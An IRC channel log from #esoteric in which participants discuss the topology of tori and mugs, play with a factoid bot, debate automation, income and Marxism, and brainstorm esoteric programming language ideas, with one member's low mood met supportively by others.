Leaving < 1492468097 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :Taneb: you're welcome < 1492468111 0 :Taneb!~Taneb@2001:41c8:51:10d:: PRIVMSG #esoteric :Fun fact: I don't drink coffee < 1492468171 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :`slwd the torus//s/coffee/preferred beverage/ < 1492468174 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :the torus//Topologically, a torus is just a torus. Taneb invented it so he'd have something to drink his preferred beverage out of. < 1492468205 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :I have a double-walled tea glass. < 1492468209 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :What is that, topologically? < 1492468231 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :Taneb: I think if I were you I'd ignore highlights coming from HackEgo :) < 1492468233 0 :Taneb!~Taneb@2001:41c8:51:10d:: PRIVMSG #esoteric :Does it have a handle < 1492468248 0 :Remavas-Hex!~Remavas@md-188-69-198-111.omni.lt QUIT :Remote host closed the connection < 1492468257 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :shachaf: I suspect it's the genus-2 solid that's embeddable in normal Euclidean space (there's only one of them) < 1492468259 0 :Taneb!~Taneb@2001:41c8:51:10d:: PRIVMSG #esoteric :int-e, that's quite a good idea < 1492468289 0 :Remavas-Hex!~Remavas@md-188-69-198-111.omni.lt JOIN :#esoteric < 1492468338 0 :Remavas-Hex!~Remavas@md-188-69-198-111.omni.lt QUIT :Remote host closed the connection < 1492468423 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :what would a torus with a torus removed from it be? < 1492468525 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :that is, an object with a toroid internal surface and toroid external surface, where the toroids can't be deformed into each other without passing through < 1492468583 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :nothing, a torus, a sphere, a genus 2 or three thing, or a hollow torus? < 1492468590 0 :AnotherTest!~turingcom@ptr-82l26zf4ec1pqw2m72y.18120a2.ip6.access.telenet.be QUIT :Quit: ZNC - http://znc.in < 1492468627 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :oh I see, genus is only applicable to surfaces, not the body contianed in the surface < 1492468633 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :(that was before the clarification. not sure whether the hollow torus has a name) < 1492468663 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :int-e: well if you punch a hole in it, it /becomes/ a torus (topologically), which rather implies it has genus 0; and yet it isn't a sphere < 1492468682 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :so I guess I was wrong in my previous guess < 1492468712 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I guess you can change the coordinate system so it's equivalent to a (non-zero-thickness) plane, so perhaps it /is/ a sphere < 1492468744 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :(I'm thinking of the solids anyway, not the surfaces. so the genus 2/3 thing is the solid containd in the corresponding surface) < 1492468755 0 :`^_^v!~nycs@gw.hq.meetup.com JOIN :#esoteric < 1492468783 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :I guess if something has two unconnected surfaces they have separate genera < 1492468788 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :oh it could become two spheres as well, I missed that case. < 1492468903 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :so a double-walled tea mug might have an external surface with genus 1 and a internal surface with genus 1, 0 or quite possibly 2 if the bottom is unhollow and the handle is hollow < 1492468925 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :actually I'm doing something funny... I'm looking at the difference of two rigit tori (defined by their euclidean geometry), topologically. < 1492468935 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :rigid < 1492468973 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :but even so there are two ways of embedding a torus inside another... < 1492469173 0 :ybden!ybden@unaffiliated/ybden QUIT :Quit: ybden < 1492469206 0 :ybden!ybden@unaffiliated/ybden JOIN :#esoteric < 1492469239 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :ybden: hi ybden < 1492469245 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :are you related to ibsen twh < 1492469300 0 :ybden!ybden@unaffiliated/ybden PRIVMSG #esoteric :I am not < 1492469302 0 :ybden!ybden@unaffiliated/ybden PRIVMSG #esoteric :shelloachaf < 1492469342 0 :boily!~alexandre@cable-192.222.245.222.electronicbox.net JOIN :#esoteric < 1492469348 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :ok well, i guess the corresponding "genus" of a solid is the maximum number of surfaces you can cut it along befor it is disconnacted < 1492469351 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`? vm < 1492469352 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :vm? ¯\(°​_o)/¯ < 1492469365 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :don't do it < 1492469375 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`le//rn vm//VM stands for Virtual Manipulator. It is a tool used to manipulate Sims into doing your bidding. < 1492469378 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Learned 'vm': VM stands for Virtual Manipulator. It is a tool used to manipulate Sims into doing your bidding. < 1492469399 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :`revert < 1492469400 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Done. < 1492469413 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :I'm sorry. < 1492469460 0 :boily!~alexandre@cable-192.222.245.222.electronicbox.net PRIVMSG #esoteric :he\\oren\, helloochaf, *mapole rdococ*. < 1492469505 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :ACTION is sorry for being alive < 1492469509 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`? rdococ < 1492469511 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom. < 1492469514 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :so, if the internal surface of the mug has genus 0, you can do one cut (the handle) without disconnecting, so I think it has genus 1 < 1492469559 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :what counts as a cut, though, in this circumstance? < 1492469568 0 :boily!~alexandre@cable-192.222.245.222.electronicbox.net PRIVMSG #esoteric :are cuts planar? < 1492469574 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :do you have to go all the way through? or just cut one wall of the double-walled torus? < 1492469590 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :boily: this isn't even an abstraction level at which planes exist < 1492469610 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :I think it needs to be a surface all of whose edges are on a surface of the solid < 1492469641 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :so yeah I think ypu can cut jsut one wall < 1492469695 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that doesn't put all the edges on a surface, though < 1492469706 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I don't think there's any way to even reach the inner cavity under those rules < 1492469728 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :I'm sorry. < 1492469730 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :unless you cut an annular hole in it, which feels like cheating in another way < 1492469748 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :rdococ: why apologise? < 1492469773 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Because I'm a failure. < 1492469784 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :rdococ: exams? < 1492469791 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :No. < 1492469798 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :I feel like all I am to this community is a nuisance. < 1492469828 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :rdococ: there's plenty of reasons I don't idle here very often, but you aren't one of htem < 1492469881 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :Hmm, I think you can cut along any connected surface where all edges are curves on one of the solid's surfaces < 1492469900 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :\oren\: thus allowing an annular cut? < 1492469916 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :if you make an annular cut on a regular torus, you cut it into two pieces < 1492469926 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :I mean, if I have a knife and a tire I can slash around the edge of it < 1492469964 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :callforjudgement, if you knew me better, I would be. < 1492469969 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :callforjudgement: Oh. no, the cut has to be a connected surface < 1492470033 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :and yeah, a solid torus can be cut in two with one cut < 1492470060 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :but a hollow torus can be done in two cuts < 1492470111 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :because the first time you slit it open and form a solid torus < 1492470123 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :rdococ: I'm in a pretty bad state at the moment too; April tends to be a bad month for my mental state, and it's possible I'm ill with something < 1492470137 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I feel really frustrated when I fail to accomplish anything even during a timespan as short as 2 days or so < 1492470147 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and feel that I'm only just keeping up with my job and have no time for hobbies < 1492470159 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Jobs are scow. < 1492470165 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but I'll snap out of it eventually, and whatever's holding you up, you're going to work things out too < 1492470165 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :They use up so much energy. < 1492470172 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :a lot of the people I know are really screwed with exams right now < 1492470187 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :I'm glad I'm in the workforce instead < 1492470223 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :The workforce is scow and so are exams. < 1492470237 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :How long are you planning to be in the workforce? < 1492470263 0 :Zarutian!~zarutian@168-110-22-46.fiber.hringdu.is PRIVMSG #esoteric :rat race on an treadmill most work feels < 1492470264 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I'm hoping to stay there quite a while < 1492470276 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :earning money is nice, and I have a job that I can enjoy sometimes < 1492470288 0 :hppavilion[1]!~dosgmowdo@74-114-87-68.dynamic.asdk12.org QUIT :Ping timeout: 268 seconds < 1492470314 0 :Zarutian!~zarutian@168-110-22-46.fiber.hringdu.is PRIVMSG #esoteric :ACTION is mostly peeved how expensive all housing is where he lives. < 1492470354 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :shachaf: at least until 2040? < 1492470366 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :2040? Why? < 1492470400 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :I don't want to do either. < 1492470411 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :2040 is when I estimate the pitchfork-weilding mobs will start lynching the people who replaced them with soulless androids < 1492470418 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :What has the human race done to themselves? < 1492470437 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :They treat their children like ****, they treat others like ****... < 1492470443 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Everything is **** < 1492470460 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :\oren\: So wouldn't you want to leave the workforce a while before then? < 1492470461 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :which I might end up being involved in, so I need to move to the moon or something < 1492470468 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :rdococ: well, if you're recognising the problem, then you being around makes things better on average < 1492470470 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Then you can enjoy being part of the oppressing class. < 1492470483 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :leaving only the worst people around isn't going to fix anything < 1492470488 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :callforjudgement: I guess that is true. < 1492470501 0 :`^_^v!~nycs@gw.hq.meetup.com QUIT :Quit: This computer has gone to sleep < 1492470520 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :I mean, I'm scared of jobless truckers with nothing to lose < 1492470531 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net JOIN :#esoteric < 1492470549 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :and they'll be just the first to be replaced with AI < 1492470577 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :\oren\: at some point we're going to have to decouple income from jobs, most likely; as long as society has enough wealth total to provide for everyone – and automation shouldn't reduce that – it's simply a case of finding a fair way to distribute money in cases where we can't base it on work (because there isn't enough work) < 1492470607 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Maybe income should be based on actual needs. < 1492470621 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :rdococ: you should read Das Kapital < 1492470626 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :If you don't want a lot, then you don't get a lot - it's fine, because that would be what you want. < 1492470652 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :the marxist slogan was "from each according to his ability, to each according to his needs" < 1492470668 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :my personal hope is that we end up advancing science and the like so far and so fast, that there's so much wealth to go around that everyone can have all they want, within reason < 1492470686 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :callforjudgement: What about people who want all of it? < 1492470700 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :and now I'll be accused of being a marxist instead of being accused of being an objectivist < 1492470720 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :What would be wrong with being a marxist? < 1492470726 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :shachaf: well if there are even two such people, it wouldn't work, therefore it's objectively an unreasonable request :-P < 1492470744 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :rdococ: nothing really... < 1492470748 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :rdococ: I wonder if \oren\ is American, marxists and objectivists are associated with different ends of the political spectrum there < 1492470750 0 :Zarutian!~zarutian@168-110-22-46.fiber.hringdu.is PRIVMSG #esoteric :ACTION notes that Karl Marx was a right-wing Socialist. < 1492470767 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Are North Americans American? < 1492470776 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Anyway, of course it's unreasonable. < 1492470794 0 :erkin!~erkin@unaffiliated/erkin QUIT :Remote host closed the connection < 1492470828 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Zarutian: now that is kind of odd. < 1492470834 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :callforjudgement: I'm canadian. the context is that earlier in a discussion with rdococ, the idea that mandatory schooling is comparable to slavery came up and someone accused me of being a Ayn Rand zealot < 1492470869 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :I should find it in logs... < 1492470874 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :From communism's definition, you'd think it was more left-wing than right-wing. < 1492470888 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :(I know that, because I did think that.) < 1492470933 0 :Zarutian!~zarutian@168-110-22-46.fiber.hringdu.is PRIVMSG #esoteric :rdococ: not so much when you look into history in detail. And please note right-wing is meant in the royalists|elite|centralizationist sense. < 1492470943 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Zarutian: ik < 1492470979 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :What we need is a left-winged version of communism. < 1492471027 0 :Zarutian!~zarutian@168-110-22-46.fiber.hringdu.is PRIVMSG #esoteric :rdococ: like its original? < 1492471041 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Zarutian, depends what the original is, I guess. < 1492471052 0 :Zarutian!~zarutian@168-110-22-46.fiber.hringdu.is PRIVMSG #esoteric :rdococ: decentralized co-operatives without coercion. < 1492471068 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Er... < 1492471081 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :k < 1492471165 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :The word itself sounds like it comes from - which wouldn't be a bad name for a left-wing ideology. < 1492471181 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :found it < 1492471183 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :16:05:16 \oren\, fuck me are you an objectivist < 1492471194 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :16:05:30 <\oren\> Phantom_Hoover: No, I'm a TROLL < 1492471201 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :lol < 1492471258 0 :Zarutian!~zarutian@168-110-22-46.fiber.hringdu.is PRIVMSG #esoteric :but then again communism got hi-jacked by persons like Lenin. Which is something of a problem that must be addressed. Basically how to defend against Cult Of Personality. < 1492471285 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :It still seems senseless that Marx was right-wing. < 1492471322 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net QUIT :Ping timeout: 252 seconds < 1492471335 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Zarutian: this appears to be a problem for all forms of government, and finding a fix to it (that doesn't cause even worse problems as a side effect) would be very helpful to humanity in the future, I suspect < 1492471344 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :What's wrong with Lenin? < 1492471397 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :It's hard to come up with an original -ism. < 1492471438 0 :Zarutian!~zarutian@168-110-22-46.fiber.hringdu.is PRIVMSG #esoteric :callforjudgement: well, something like psuedonymous liquid democracy where proposals can be submitted anonymously (yet still rate limited to prevent spamming) might be a tentative start. < 1492471574 0 :Zarutian!~zarutian@168-110-22-46.fiber.hringdu.is PRIVMSG #esoteric :callforjudgement: basically let ideas, proposals and such battle unaided. Techniques for filtering or being at least aware of biases might be learned from lesswrong or other places that have studied applied cogniative techniques. < 1492471599 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the problem is, what if a proposal ends up being blasted over the media or something like that? < 1492471637 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :or is worded to look good on the surface, but doesn't work if you think about it more deeply < 1492471651 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :or benefits the majority of people at the expense of a minority < 1492471697 0 :Zarutian!~zarutian@168-110-22-46.fiber.hringdu.is PRIVMSG #esoteric :callforjudgement: this is why certain places of deep political discurse is not publically accessable or even known about. < 1492471737 0 :Zarutian!~zarutian@168-110-22-46.fiber.hringdu.is PRIVMSG #esoteric :callforjudgement: basically, Speak Easies but for this kind of stuff. < 1492472202 0 :orby!32e0e343@gateway/web/freenode/ip.50.224.227.67 QUIT :Ping timeout: 260 seconds < 1492472803 0 :boily!~alexandre@cable-192.222.245.222.electronicbox.net PRIVMSG #esoteric :`wisdom < 1492472806 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :tht//THT is short for tails-heads-tails, a possible outcome of flipping three coins. It's the opposite of HTH. < 1492472815 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net JOIN :#esoteric < 1492472818 0 :boily!~alexandre@cable-192.222.245.222.electronicbox.net QUIT :Quit: VIEW CHICKEN < 1492472834 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :Aww < 1492472836 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :Missed boily < 1492472848 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`? HTH < 1492472849 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :hth ([ʰtʰh̩]) is help received from a hairy toe. It is not at all hambiguitous. < 1492472860 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`? hthth < 1492472861 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :hthth? ¯\(°​_o)/¯ < 1492472863 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :I WON'T < 1492472871 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :>_M < 1492472872 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :<* < 1492472873 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :`tmflry hth < 1492472874 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: tmflry: cannot execute: Is a directory < 1492472880 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :`tomfoolery hth < 1492472881 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :hth means "hope that helps" < 1492472884 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :rdococ: ^ < 1492472888 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :ik what it means! < 1492472891 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :ugh < 1492472896 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :rdococ: OK. htha < 1492472899 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :god help me, give me a better idea for esostuff < 1492472920 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :I did have the idea of a sound chip that could only produce sine waves < 1492472937 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :maybe it could go with Teriyaki? < 1492472973 0 :Zarutian!~zarutian@168-110-22-46.fiber.hringdu.is PRIVMSG #esoteric :rdococ: I propose that chip or functionality to be named SINfull < 1492472982 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :whyzat? < 1492473001 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Oh. < 1492473002 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :duh. < 1492473015 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :ACTION has lost the plot today :P < 1492473045 0 :Zarutian!~zarutian@168-110-22-46.fiber.hringdu.is PRIVMSG #esoteric :of on an tangent, eh? Better square up then. < 1492473047 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :rdococ: Have you thought about making an esolang that could have real applications? One that takes the typical assumptions of mainstream programming languages and breaks them, creating a language with actual uses due to its eschewing of troublesome conformities? < 1492473106 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :I would love to be able to come up with an idea that could actually do that. < 1492473120 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Zarutian: har har :P < 1492473143 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :I'm thinking about logic gates... I think a nice definition of the general concept is that a (g)logic gate is a function with a finite domain and codomain < 1492473162 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :that sounds about right < 1492473200 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :rdococ: I've spent years trying and haven't really succeeded (arguably because I'm aiming to find new models of programming, rather than merely make a practical esolang); but I keep trying, because I only really have to succeed once < 1492473210 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :Oh, hello ais523 < 1492473248 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :The problem is, I have trouble coming up with new models of programming. < 1492473254 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :so does everyone < 1492473257 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Ah. < 1492473263 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it's not easy, or it'd be done more often < 1492473266 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :True. < 1492473334 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :"Declarative programming is when you say what you want, and imperative language is when you say how to get what you want." < 1492473369 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :What about when you say why you want it? < 1492473381 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Nah. < 1492473387 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :That's dumb. < 1492473406 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :even dumb ideas lead to interesting languages sometimes < 1492473413 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :"why" information is mostly useful in optimizers < 1492473423 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :That is true. < 1492473427 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :so I wonder what a language which consisted entirely of optimizer hints would be like, with no actual code to be hinting on < 1492473479 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Honestly, to me it just sounds like it would be a declarative language with strange syntax. < 1492473509 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :imagine the "how" or "what" was blank, and the "why" is "because I want to calculate the first ten digits of pi" or something. < 1492473539 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :nah, go up one level higher; the "why" is "because I'm implementing ISO standard xxxx" < 1492473577 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I guess what you'd end up with would be a language that's based not around algorithms (imperative), nor around test cases (declarative), but around APIs < 1492473594 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :sorry if I'm not being very clear